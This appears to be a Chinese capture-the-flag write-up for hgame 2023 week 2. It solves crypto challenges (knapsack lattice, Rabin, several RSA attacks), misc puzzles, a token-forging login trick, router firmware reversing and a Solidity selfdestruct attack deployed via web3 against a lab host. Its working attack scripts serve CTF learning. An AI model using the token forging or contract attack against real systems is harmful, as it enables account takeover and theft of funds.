//0sWrgoTPV8/aJbfE2sEql/4JRyb2EoFGYNqzh8G2lOeTTp9U2VgV6PdGIk7XFtv+Uf9KDFKw6y4YPA==
//0sWrgoTPV8/aJrfE2sEql+8JRyb2EoFGYNqzh8G2lOeTTp9U2VgV6PdGIk7XFtv+Uf9KDFKw6y4YPA==

可以尝试登录时分别修改不同位置,最后合成Vidar-Tu的token

Vidar-Ta
7jEfpWMNBXCL Yz Pnrioix GX sNVS7gNdlBCqi5Dwmi6lh5RoHvm a6 GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D
7jEfpWMNBXCL Yz Pnrioix GX sNVS7gNdlBCqi5Dwmi6lh5RoHs2 e/ GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D

Vidar-Tb
7jEfpWMNBXCL Yz Pnrioix Gb sNVS7gNdlBCqi5Dwmi6lh5RoHvm K+ GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D


aidar-Tu
7jEfpWMNBXCL VD Pnrioix HH sNVS7gNdlBCqi5Dwmi6lh5RoHvm C8 GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D

bidar-Tu
7jEfpWMNBXCL Vz Pnrioix HH sNVS7gNdlBCqi5Dwmi6lh5RoHvm 6w GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D


Vidar-Tu
7jEfpWMNBXCL Yz Pnrioix HH sNVS7gNdlBCqi5Dwmi6lh5RoHvm C8 GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D

得到token:7jEfpWMNBXCLYzPnrioixHHsNVS7gNdlBCqi5Dwmi6lh5RoHvmC8GgWGWcoppvVXH157EpsJzOA%2B0g%3D%3D

hgame2023 week2 writeup_第6张图片

2、包里有什么

兔兔收到了一包年货,但是他忘了里面有什么了。

v的长度可以根据m的范围判断

from gmpy2 import *
from Crypto.Util.number import *
from random import randint
l=198
a = [2 << i for i in range(l)]
print(a)
print(sum(a))
print(2<<l+1)
m = randint(sum(a), 2 << l + 1)
print(m)
m = 1528637222531038332958694965114330415773896571891017629493424
print(m>sum(a))
print(m<(2<<l+1))

发现只有l=198里才满足范围,l确定了a就知道了,然后就知道了b,就可以用背包的矩阵了

from gmpy2 import *
from Crypto.Util.number import *
from random import randint
l=198
a = [2 << i for i in range(l)]
print(a)
print(sum(a))
print(2<<l+1)
m = randint(sum(a), 2 << l + 1)
print(m)
m = 1528637222531038332958694965114330415773896571891017629493424
print(m>sum(a))
print(m<(2<<l+1))
b0=69356606533325456520968776034730214585110536932989313137926
w=(b0//2)%m
print(w)
b = [w * i % m for i in a]
print('b=',b)
import gmpy2
from Crypto.Util.number import *

s= 93602062133487361151420753057739397161734651609786598765462162
# m= [399744958402819830568542007579, 799489916805639661137084015158, 349889978771105680856145387467, 699779957542211361712290774934, 150470060244249082006558907019, 300940120488498164013117814038, 601880240976996328026235628076, 1203760481953992656052471256152, 1158431109067811670686919869455, 1067772363295449699955817096061, 886454871750725758493611549273, 523819888661277875569200455697, 1047639777322555751138400911394, 846189699804937860858779179939, 443289544769702080299535717029, 886579089539404160599071434058, 524068324238634679780120225267, 1048136648477269359560240450534, 847183442114365077702458258219, 445277029388556513986893873589, 890554058777113027973787747178, 532018262714052414529552851507, 1064036525428104829059105703014, 878983196016036016700188763179, 508876537191898391982354883509, 1017753074383796783964709767018, 786416293927419926511396891187, 323742733014666211604771139525, 647485466029332423209542279050, 45881077218491205001061915251, 91762154436982410002123830502, 183524308873964820004247661004, 367048617747929640008495322008, 734097235495859280016990644016, 219104616151544918615958645183, 438209232303089837231917290366, 876418464606179674463834580732, 503747074372185707509646518615, 1007494148744371415019293037230, 765898442648569188620563431611, 282707030456964735823104220373, 565414060913929471646208440746, 1130828121827858943292416881492, 1012566388815544245166811120135, 776042922790914848915599597421, 302995990741656056413176551993, 605991981483312112826353103986, 1211983962966624225652706207972, 1174878071093074809887389773095, 1100666287345975978356756903341, 952242719851778315295491163833, 655395584863382989172959684817, 61701314886592336927896726785, 123402629773184673855793453570, 246805259546369347711586907140, 493610519092738695423173814280, 987221038185477390846347628560, 725352221530781140274672614271, 201614588221388639131322585693, 403229176442777278262645171386, 806458352885554556525290342772, 363826850930935471632558042695, 727653701861870943265116085390]
m= [69356606533325456520968776034730214585110536932989313137926, 138713213066650913041937552069460429170221073865978626275852, 277426426133301826083875104138920858340442147731957252551704, 554852852266603652167750208277841716680884295463914505103408, 1109705704533207304335500416555683433361768590927829010206816, 690774186535376275712305867997036450949640609964640390920208, 1381548373070752551424611735994072901899281219929280781840416, 1234459523610466769890528506873815388024665867967543934187408, 940281824689895206822362048633300360275435164044070238881392, 351926426848752080686029132152270304776973756197122848269360, 703852853697504161372058264304540609553947512394245696538720, 1407705707395008322744116528609081219107895024788491393077440, 1286774192258978312529538092103832022441893477685965156661456, 1044911161986918292100381219093333629109890383480912683829488, 561185101442798251242067473072336842445884195070807738165552, 1122370202885596502484134946144673684891768390141615476331104, 716103183240154672009574927175016954009640208392213323168784, 1432206366480309344019149854350033908019280416784426646337568, 1335775510429580355079604743585737400264664261677835663181712, 1142913798328122377200514522057144384755431951464653696870000, 757190374125206421442334078999958353736967331038289764246576, 1514380748250412842884668157999916707473934662076579528493152, 1500124273969787352810641350885502999173972752262141427492880, 1471611325408536372662587736656675582574048932633265225492336, 1414585428286034412366480508199020749374201293375512821491248, 1300533634041030491774266051283711082974506014860008013489072, 1072430045551022650589837137453091750175115457828998397484720, 616222868571006968220979309791853084576334343766979165476016, 1232445737142013936441958619583706169152668687533958330952032, 936254251752989539925222274053081922531440803176899032410640, 343871280974940746891749582991833429288985034462780435327856, 687742561949881493783499165983666858577970068925560870655712, 1375485123899762987566998331967333717155940137851121741311424, 1222333025268487642175301698820337018537983703811225853129424, 916028828005936951391908432526343621302070835731434076765424, 303420433480835569825121899938356826830245099571850524037424, 606840866961671139650243799876713653660490199143701048074848, 1213681733923342279300487599753427307320980398287402096149696, 898726245315646225642280234392524198868064224683786562805968, 268815268100254118325865503670717981962231877476555496118512, 537630536200508236651731007341435963924463754953110992237024, 1075261072401016473303462014682871927848927509906221984474048, 621884922270994613648229064251413439923958447921426339454672, 1243769844541989227296458128502826879847916895842852678909344, 958902466552940121634221291891323343921937219794687728325264, 389167710574841910309747618668316272069977867698357827157104, 778335421149683820619495237336632544139955735396715654314208, 28033619768329308280295509558934672506014898902413679134992, 56067239536658616560591019117869345012029797804827358269984, 112134479073317233121182038235738690024059595609654716539968, 224268958146634466242364076471477380048119191219309433079936, 448537916293268932484728152942954760096238382438618866159872, 897075832586537864969456305885909520192476764877237732319744, 265514442642037396980217646657488624611056957863457835146064, 531028885284074793960435293314977249222113915726915670292128, 1062057770568149587920870586629954498444227831453831340584256, 595478318605260842883046208145578581114559091016645051675088, 1190956637210521685766092416291157162229118182033290103350176, 853276051890005038573489867467983908684339792175562577206928, 177914881248971744188284769821637401594783012460107524920432, 355829762497943488376569539643274803189566024920215049840864, 711659524995886976753139079286549606379132049840430099681728, 1423319049991773953506278158573099212758264099680860199363456, 1318000877452509574053861352031868009742631627470702769233488, 1107364532373980815149027738949405603711366683050387908973552, 686091842216923297339360512784480791648836794209758188453680, 1372183684433846594678721025568961583297673588419516376907360, 1215730146336654856398747086023592750821450604948015124321296, 902823070142271379838799206932855085869004638005012619149168, 277008917753504426718903448751379755964112704119007608804912, 554017835507008853437806897502759511928225408238015217609824, 1108035671014017706875613795005519023856450816476030435219648, 687434119496997080792532624896707631939005061061043240945872, 1374868238993994161585065249793415263878010122122086481891744, 1221099255456949990211435534472500111982123672353155334290064, 913561288382861647464176103830669808190350772815293039086704, 298485354234684961969657242547009200606804973739568448679984, 596970708469369923939314485094018401213609947479136897359968, 1193941416938739847878628970188036802427219894958273794719936, 859245611346441362798562975261743189080543218025529959946448, 189854000161844392638430985409155962387189864160042290399472, 379708000323688785276861970818311924774379728320084580798944, 759416000647377570553723941636623849548759456640169161597888, 1518832001294755141107447883273247699097518913280338323195776, 1509026780058471949256200801432164982421141254669659016898128, 1489416337585905565553706637749999549068385937448300404302832, 1450195452640772798148718310385668682362875303005583179112240, 1371753682750507263338741655657006948951854034120148728731056, 1214870142969976193718788346199683482129811496349279827968688, 901103063408914054478881727285036548485726420807542026443952, 273568904286789775999068489455742681197556269724066423394480, 547137808573579551998136978911485362395112539448132846788960, 1094275617147159103996273957822970724790225078896265693577920, 659914011763279875033852950531611033806553585901513757662416, 1319828023526559750067705901063222067613107171803027515324832, 1111018824522081167176716837012113719452317771715037401156240, 693400426513124001394738708909897023130738971539057172819056, 1386800853026248002789477417819794046261477943078114345638112, 1244964483521457672620259870525257676749059314265211061782800, 961291744511877012281824775936184937724222056639404494072176, 393946266492715691604954586758039459674547541387791358650928, 787892532985431383209909173516078919349095082775582717301856, 47147843439824433461123381917827422924293593660147805110288, 94295686879648866922246763835654845848587187320295610220576, 188591373759297733844493527671309691697174374640591220441152, 377182747518595467688987055342619383394348749281182440882304, 754365495037190935377974110685238766788697498562364881764608, 1508730990074381870755948221370477533577394997124729763529216, 1488824757617725408553201477626624651380893422358441897565008, 1449012292704412484147707990138918886987890272825866165636592, 1369387362877786635336721015163507358201883973760714701779760, 1210137503224534937714747065212684300629871375630411774066096, 891637783918031542470799165311038185485846179369805918638768, 254638345305024751982903365507745955197795786848594207784112, 509276690610049503965806731015491910395591573697188415568224, 1018553381220099007931613462030983820791183147394376831136448, 508469539909159682904531958947637225808469722897736032779472, 1016939079818319365809063917895274451616939445795472065558944, 505240937105600398659432870676218487459982319699926501624464, 1010481874211200797318865741352436974919964639399853003248928, 492326525891363261679036517590543534066032706908688377004432, 984653051782726523358073035181087068132065413817376754008864, 440668881034414713757451105247843720490234255743735878524304, 881337762068829427514902210495687440980468511487471757048608, 234038301606620522071109455877044466187040451083925884603792, 468076603213241044142218911754088932374080902167851769207584, 936153206426482088284437823508177864748161804335703538415168, 343669190321925843610180681902025313722427036780389447336912, 687338380643851687220361363804050627444854073560778894673824, 1374676761287703374440722727608101254889708147121557789347648, 1220716300044368415922750490101872094005519722352097949201872, 912795377557698498886806015089413772237142872813178268910320, 296953532584358664814917065064497128700389173735338908327216, 593907065168717329629834130128994257400778347470677816654432, 1187814130337434659259668260257988514801556694941355633308864, 846991038143830985560641555401646613829216817991693637124304, 165344853756623638162588145688962811884537064092369644755184, 330689707513247276325176291377925623769074128184739289510368, 661379415026494552650352582755851247538148256369478579020736, 1322758830052989105300705165511702495076296512738957158041472, 1116880437574939877642715365909074574378696453586896686589520, 705123652618841422326735766703818732983496335282775743685616, 1410247305237682844653471533407637465966992670565551487371232, 1291857387944327356348248101700944516160088769240085345249040, 1055077553357616379737801238287558616546280966589153061004656, 581517884184194426516907511460786817318665361287288492515888, 1163035768368388853033815022921573634637330722574576985031776, 797434314205739373108935080728816853500764873258136340570128, 66231405880440413259175196343303291227633174625255051646832, 132462811760880826518350392686606582455266349250510103293664, 264925623521761653036700785373213164910532698501020206587328, 529851247043523306073401570746426329821065397002040413174656, 1059702494087046612146803141492852659642130794004080826349312, 590767765643054891334911317871374903510365016117144023205200, 1181535531286109782669822635742749807020730032234288046410400, 834433840041181232380950306371169198267563492577558463327376, 140230457551324131803205647628007980761230413264099297161328, 280460915102648263606411295256015961522460826528198594322656, 560921830205296527212822590512031923044921653056397188645312, 1121843660410593054425645181024063846089843306112794377290624, 715050098290147775892595396933797276405790040334571125087824, 1430100196580295551785190793867594552811580080669142250175648, 1331563170629552770611686622620858689849263589447266870857872, 1134489118728067208264678280127386963924630607003516112222320, 740341014925096083570661595140443512075364642116014594951216, 1480682029850192167141323190280887024150729284232029189902432, 1432726837169346001323951415447443632527561996573040750311440, 1336816451807653669689207865780556849281227421255063871129456, 1144995681084269006419720766446783282788558270619110112765488, 761354139637499679880746567779236149803219969347202596037552, 1522708279274999359761493135558472299606439938694405192075104, 1516779336018960386564291306002614183438983305497792754656784, 1504921449506882440169887646890897951104070039104567879820144, 1481205676482726547381080328667465486434243506318118130146864, 1433774130434414761803465692220600557094590440745218630800304, 1338911038337791190648236419326870698415284309599419632107184, 1149184854144544048337777873539410981056672047307821634720944, 769732485758049763716860781964491546339447522724625639948464, 10827748985061194475026598814652676904998473558233650403504, 21655497970122388950053197629305353809996947116467300807008, 43310995940244777900106395258610707619993894232934601614016, 86621991880489555800212790517221415239987788465869203228032, 173243983760979111600425581034442830479975576931738406456064, 346487967521958223200851162068885660959951153863476812912128, 692975935043916446401702324137771321919902307726953625824256, 1385951870087832892803404648275542643839804615453907251648512, 1243266517644627452648114331436754871905712659016796873803600, 957895812758216572337533697759179328037528746142576118113776, 387154402985394811716372430404028240301160920394134606734128, 774308805970789623432744860808056480602321840788269213468256, 19980389410540913906794756501782545430747109685520797443088, 39960778821081827813589513003565090861494219371041594886176, 79921557642163655627179026007130181722988438742083189772352, 159843115284327311254358052014260363445976877484166379544704, 319686230568654622508716104028520726891953754968332759089408, 639372461137309245017432208057041453783907509936665518178816, 1278744922274618490034864416114082907567815019873331036357632, 1028852622018198647111033867113835399361733467855644443221840]


def decrypt(enc,publickey):
    n=len(publickey)
    d=2*identity_matrix(ZZ,n,n)
    col=publickey+[enc]
    col=matrix(col).transpose()
    last=matrix(ZZ,[[1]*n])
    tmp=block_matrix(ZZ,[[d],[last]])
    grid=block_matrix(ZZ,[[tmp,col]])
    M=grid.LLL()
    m=''
    for j in range(n+1):
        judge=M[j][:-1]
        if set(judge).issubset([-1,1]):
            for i in M[j]:
                if i==-1:
                    m+='1'
                elif i ==1:
                    m+='0'
            return m
tmp=decrypt(s,m)
print(tmp)
flag=int(tmp,2)
flag=long_to_bytes(flag)
print(flag)
#110001011101000010011101110011010111110011010001101110010111110011001101100001011100110111100101011111011000100110000100111001010111110110100101110011011011100011011101011111011010010111010000111111
#b"1t's_4n_3asy_ba9_isn7_it?"

3、Rabin

看起来非常像RSA呢。

import gmpy2,base64,time,os,hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123
c=0x4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5ee538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556
def rabin(p,q,c):
    n = p*q
    inv_p = gmpy2.invert(p, q)
    inv_q = gmpy2.invert(q, p)
    mp = pow(c, (p + 1) // 4, p)
    mq = pow(c, (q + 1) // 4, q)
    a = (inv_p * p * mq + inv_q * q * mp) % n
    b = n - int(a)
    c = (inv_p * p * mq - inv_q * q * mp) % n
    d = n- int(c)
    return(a,b,c,d)

m1= rabin(p,q,c)
for i in m1:
    #print(i)
    print(long_to_bytes(i))

3、RSA 大冒险1

马上要过年喽,兔兔开心地去超市买年货,但是超市门口却写着"只有完成挑战才能进入超市",你能帮帮兔兔吗

import gmpy2,base64,time,os,hashlib
from Crypto.Util.number import long_to_bytes,bytes_to_long
#1 yafu分解 p*r
n = 419068998475498390583641618710190878295191785057764401142713162489243729086236485524226836964016579
e = 65537
p = 334687917416655213473477000970630430903
c = 0x54773108c4f0914f4ae54f06700742c7b8da14b9704a87af62e4ddd0d9ff6f6d559c0b239a5d62a53c
qr=n//p
q = 1150347873132740419571666919937
r = 1088469605156490512126824552789
d = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
m=pow(c,d,n)
print(long_to_bytes(m))

#m

#2有相同的p
n1=111521305068360370746224599385928268084769966144937450089621226543723797333489404716845840292236909391556710803818273656039122964260804603349859171731854278770706911126666884058450998316322091213611225806506107888867743350008054500500214635104705580159969967613194542350674659710454350572813617760710109211439
n2=99976050495972970595454763550795001009382736971038569415402988536651509358092850489694762754214427808534511593835716802937719120595510026077106921621452171336398098538878052405482766514135307053744156589374761550054872483605859683497416207024000674601720940939446680501325340477460585743117748782313647534599
e=65537
c=0x136f626bc25c01f1f8116c440d5b44908c74bfb05ae737c2cfe1772d0afb7b20dde9e0620ba8cb95ba054c8b0cb5569ca3d88d1c490ae563204eee9f4ea406d7e3adb0f16f544d4bdcfb9a440c177de59b6823c7d923e5770e7666175b7da926c2ad7b8786613d07badd561bf71afd122b1c51bfc1b1f24c7d8b7ebbf6af387
p = gmpy2.gcd(n1,n2)
q = n1//p
d = gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n1)
print(long_to_bytes(m))
#make_all_modulus_independent

#3 e=3
n = 138699211435645451805122011132873256716044368995866527347974655983869801231763253699155264582706152397596753652858553928795421738411692785336364083329894189561134089869267156512400336525592179681600085273171859104657694598037589422770498883539528109797879124632864235553051762768072356416201036070931468772543
e = 3
c=0xfec61958cefda3eb5f709faa0282bffaded0a323fe1ef370e05ed3744a2e53b55bdd43e9594427c35514505f26e4691ba86c6dcff6d29d69110b15b9f84b0d8eb9ea7c03aaf24fa957314b89febf46a615f81ec031b12fe725f91af9d269873a69748

k = 0
while 1:
	m,sign = gmpy2.iroot(k*n+c, e)
	if sign:
		break
	k += 1

print(long_to_bytes(m))
#encrypt_exponent_should_be_bigger

#4  e会变 n 不变 共模攻击
n=69788241127361019618428320142293004762026687318441571015071793227366543558949630498567615160109297579324815495635635696916138845917453794282262832333357236600880906236146455487368712777696685465613644594117917367859925460124245246875915763764603680193118037864582514626988427416534437171952447379563877975553
e1=119389
c1=0x2d8e622b7318d234974e87e5b7bfc3e733904c7961134bb79703196dc1480322285d7d93417334b9a3248369ce26386b3c4cd802acc6356e4e7f93483f485d4e8da8d8ca0f4854140b8417f4e0e0c97140fcd85094692a1c87f8c25575c28578bbbe2d4bb6cbd8c73939fdf85bde3beae41d82a47b80567d3e641b34760e8d4b
e2=127403
c2=0x3bd700e85bcec3b3bd69a931fee899c8ebf18d9ef2fec386f93cd3e3d3add5a2aa775c509af4f9310db80300579b367100a9dc843a917dd5f5bb2ce96d574b8ce7e09d24039288bea5e61c74da311ecf998858248b74bedef9fcaea530750f06782a5fc76a2420bce4e962a26db7e3000e43f3321c25c02a9c5eb9b428dcedea

def gongmogongji(n, c1, c2, e1, e2):
    s = gmpy2.gcdext(e1, e2)
    s1 = s[1]
    s2 = s[2]

# 求模反元素
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = pow(c1, s1, n) * pow(c2, s2, n) % n
    root = gmpy2.gcd(e1,e2)
    m=gmpy2.iroot(m,root)[0]
    return m

m = gongmogongji(n, c1, c2, e1, e2)
print(long_to_bytes(m))

#never_uese_same_modulus

misc

1、Tetris Master

你是否已经厌倦了普通的游戏题目,对于写脚本玩游戏感到无聊? 此题你需要能够实现RCE,拿到根目录下的flag,又或者你是真正的Tetris Master? 请使用ssh进行连接,账号为ctf,密码为hgame,例如ssh [email protected] -p port。并且你需要将终端的字体调小,使窗口大小至少为 200 * 70 才能正常进行游戏。

HINTS:

题目描述已更新,同时由于存在非预期,题目分数降至50,并上线100分的Revenge版本。

ssh登录后 ctrl +c 即可关闭程序 回到shell,果然非预期。

hgame2023 week2 writeup_第7张图片

2、Sign In Pro Max

兔兔没有抢到回家的车票,一个猫猫头像的学长给了他一个候补车票抢票软件,但是这个软件的验证码太难了,你能帮他解一下吗? flag 英文字母为全小写,自行使用 hgame{}包裹后提交

Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
Part2, a hash function with 128bit digest size and 512bit block size: c629d83ff9804fb62202e90b0945a323
Part3, a hash function with 160bit digest size and 512bit block size: 99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
Part4, the next generation hash function of part3 with 256bit block size and 64 rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7d
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.

Part1:
base64:AYycpMB15zKbnu7Jsz3KFi base58: MY2TCZBTMEYTQ=== base32:f51d3a18

Part2:
md5:f91c

Part3:
sha1:4952

Part4:
sha256:a3ed

Part5:
凯撒(21):Part5 is 0bc0ea61d21c, now put all the parts together, don’t forget the format.

f51d3a18f91c4952a3ed0bc0ea61d21c

坑的是直接连起来交不上,尝试多次后发现是-连接。。。。坑

hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}

3、Tetris Master Revenge

the same as Tetris Master

达到50000分会cat flag,失败后按N重开,分数不会清零。。 按了5000分后写了个按键精灵脚本,到50000分即可。


Rem Begin
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "Enter", 1
KeyPress "N", 1
Delay 200

Goto Begin

hgame2023 week2 writeup_第8张图片

Blockchain

1、Transfer

疯狂星期四,V我 0.5ETH (靶机环境经过修改,可以使用 Remix IDE 进行交互了)

自毁攻击

1、Remix构造攻击合约Attack,编译后复制出abi和bytecode。

pragma solidity >=0.8.7;
// 业务合约
// SPDX-License-Identifier: UNLICENSED

contract Transfer{
    constructor() {}

    function isSolved() public view returns(bool) {
        return address(this).balance >= 0.5 ether;
    }
}
// 攻击合约
contract Attack {

    Transfer transfer;
    constructor(Transfer _transfer) {
        transfer = Transfer(_transfer);
    }
    
    // 合约销毁和发送ether
    function attack() public payable {
        // 发送ether到指定的业务合约
        selfdestruct(payable(address(transfer)));
    }
}

2、创建账号等基础操作

3、构建攻击合约

4、调用自毁接口,顺便支付0.6给攻击合约,攻击合约自毁把余额给目的合约。

from web3 import Web3, HTTPProvider
import json
from decimal import Decimal

w3 = Web3(HTTPProvider('http://week-2.hgame.lwsec.cn:30956'))
assert w3.isConnected()

# create a account
pk = '0x16e39235b9e8d246db0c59d09139d3f3b5aeee31858eed44a5f57527c5f42d70'
account = w3.eth.account.privateKeyToAccount(pk)
print(account.address)
my_address = account.address # 0x38d921812152C00D2C0304b084b84a0aF75Bf9a8

dest_address = '0x0b5db2Eb9B795D9A9262fd81c0993a7d8dd2631e'

#账户余额
balance = w3.eth.getBalance(my_address)
print(w3.fromWei(balance,"ether")) 
print(Decimal(balance))

abi=[
    {
        "inputs": [
            {
                "internalType": "contract Transfer",
                "name": "_transfer",
                "type": "address"
            }
        ],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "attack",
        "outputs": [],
        "stateMutability": "payable",
        "type": "function"
    }
]

bytecode='608060405234801561001057600080fd5b506040516101c03803806101c0833981810160405281019061003291906100ed565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061011a565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006100a88261007d565b9050919050565b60006100ba8261009d565b9050919050565b6100ca816100af565b81146100d557600080fd5b50565b6000815190506100e7816100c1565b92915050565b60006020828403121561010357610102610078565b5b6000610111848285016100d8565b91505092915050565b6098806101286000396000f3fe608060405260043610601c5760003560e01c80639e5faafc146021575b600080fd5b60276029565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16fffea264697066735822122025f57e8784cd24abd9b5e28df5aec9ec31ae90f8e44a88e1180848fb414c9faf64736f6c63430008110033'


#构建攻击合约
# Creating contract in python
mycontract = w3.eth.contract(abi=abi, bytecode=bytecode)
# Get the latest transaction
transaction = mycontract.constructor(dest_address).buildTransaction({
    "chainId": w3.eth.chainId,
    "gasPrice": w3.eth.gas_price,
    "from": my_address,
    "nonce": w3.eth.getTransactionCount(my_address)
})

# Sign the transaction
signed_txn = w3.eth.account.sign_transaction(transaction, private_key=pk)

print("Deploying Contract!")
# Sent it
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)
print("tx_hash:",tx_hash.hex())
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for Transaction to finish...")

tx_receipt=w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Done! Contract Deployed to {tx_receipt.contractAddress}")
#0x4ccD3687ac96e9083BfEd772820b3DfD9B80497a

atk_address=tx_receipt.contractAddress
#查询攻击合约余额
balance = w3.eth.getBalance(atk_address)
print(w3.fromWei(balance,"ether")) 


#调用自毁接口
storage = w3.eth.contract(address=atk_address, abi=abi)
transaction = storage.functions.attack().buildTransaction({
    "chainId": w3.eth.chainId,
    "gasPrice": w3.eth.gas_price,
    "from": my_address,
    "value":w3.toWei('0.6','ether'),
    "nonce": w3.eth.getTransactionCount(my_address)
})

# Sign the transaction
signed_txn = w3.eth.account.sign_transaction(transaction, private_key=pk)

# Sent it
tx_hash = w3.eth.send_raw_transaction(signed_txn.rawTransaction)

print("tx_hash:",tx_hash.hex())
tx_receipt=w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Done!")

#查询目标合约余额

balance = w3.eth.getBalance(dest_address)
print(w3.fromWei(balance,"ether")) 


Iot

1、Pirated router

兔兔在回家的火车上,看到一个神秘的0tatoP在卖路由器,于是兔兔买了一个回家过年,但是这个路由器咋总感觉怪怪的

路由器固件,使用firmware-mod-kit解析固件

./extract-firmware.sh ./AC10086W_FW_1.1.4.5.bin

解析后的文件在fmk目录中,在/rootfs/bin有个可执行文件secret_program

ida:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _OWORD v4[8]; // [xsp+10h] [xbp+10h]
  int v5; // [xsp+90h] [xbp+90h]
  unsigned int v6; // [xsp+98h] [xbp+98h]
  int i; // [xsp+9Ch] [xbp+9Ch]

  v4[0] = unk_4543B0;
  v4[1] = unk_4543C0;
  v4[2] = unk_4543D0;
  v4[3] = unk_4543E0;
  v4[4] = unk_4543F0;
  v4[5] = unk_454400;
  v4[6] = unk_454410;
  v4[7] = unk_454420;
  v5 = '^';
  v6 = 0x23;
  for ( i = 0; i <= 32; ++i )                   // KDBNFXVM
    printf(&unk_4543A8, *((_DWORD *)v4 + i) ^ v6);
  return 0;
}

逆向,exp:

c=[75, 68, 66, 78, 70, 88, 86, 77, 83, 23, 64, 72, 18, 77, 68, 124, 69, 74, 81, 78, 84, 66, 81, 70, 124, 18, 80, 124, 16, 98, 80, 90, 94]
for i in range(len(c)):
	c[i] ^=0x23
print(bytes(c))

你可能感兴趣的:(ctf,hgame,hgame2023,ctf,week2)